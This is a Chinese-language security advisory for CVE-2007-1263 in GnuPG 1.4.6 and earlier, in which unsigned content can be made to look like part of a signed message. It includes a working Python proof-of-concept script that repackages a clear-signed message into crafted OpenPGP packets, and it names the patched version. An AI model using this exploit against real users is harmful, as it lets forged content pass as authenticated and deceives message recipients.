GnuPG签名消息任意内容注入漏洞
发布日期:2007-03-05
更新日期:2007-03-06
受影响系统:GNU GNU Privacy Guard <= 1.4.6
不受影响系统:GNU GNU Privacy Guard 1.4.7
描述:
BUGTRAQ  ID: 
22757
CVE(CAN) ID: 
CVE-2007-1263
GnuPG是基于OpenPGP标准的PGP加密、解密、签名工具。
使用GnuPG的脚本和应用程序向终端用户显示签名验证信息的方式存在漏洞,允许攻击者向签名消息中添加任意内容,消息的接收者无法区分消息中的伪造和正确签名部分。
漏洞起因是有效的OpenPGP消息包含有多个部分,其中每个部分都可以认为是一段消息,但有些消息可能没有被签名和/或加密。有漏洞的第三方应用程序没有使用适当的GnuPG API判断消息边界,没有在给终端用户的输出中明确的区分消息。在某些情况下,即使从命令行直接使用GnuPG的高级用户也可能被这种攻击欺骗。
请注意该漏洞不是加密问题,而是向用户显示信息方式和第三方应用程序与GnuPG之间相互交互方式的问题。
<*来源:Gerardo Richarte
  
  链接:
http://www.coresecurity.com/index.php5?module=ContentMod&action=item&id=1687
*>
测试方法:
警  告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
#!/usr/bin/python
import os, gpg, sys, base64
clear_sign = open(sys.argv[1], "rb").read().splitlines()
start = clear_sign.index("-----BEGIN PGP SIGNED MESSAGE-----")
mid = clear_sign.index("-----BEGIN PGP SIGNATURE-----")
end = clear_sign.index("-----END PGP SIGNATURE-----")
text = '\r\n'.join(clear_sign[start+3:mid])
sign = '\n'.join(clear_sign[mid+3:end-1])
onepass = gpg.OnePassSignature()
onepass['keyid'] = (0x12341234,0x12341234)
onepass['digest_algo'] = 2
onepass['pubkey_algo'] = 1
onepass['sigclass'] = 1
plain1 = gpg.Plaintext()
plain1['name'] = 'original'
plain1['data'] = text
plain1['mode'] = 0x62
signature = gpg.Raw()
signature['data'] = base64.decodestring(sign)
compressed = gpg.Compressed()
compressed['algorithm'] = gpg.COMPRESS_ALGO_ZLIB
compressed['data'] = [onepass, plain1, signature]
pkt = gpg.Packet()
pkt['version'] = 1
pkt['data'] = compressed
os.write(1,str(pkt))
建议:
厂商补丁:
GNU
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
ftp://ftp.gnupg.org/gcrypt/gnupg/gnupg-1.4.7.tar.bz2浏览次数:2815
严重程度:0(网友投票)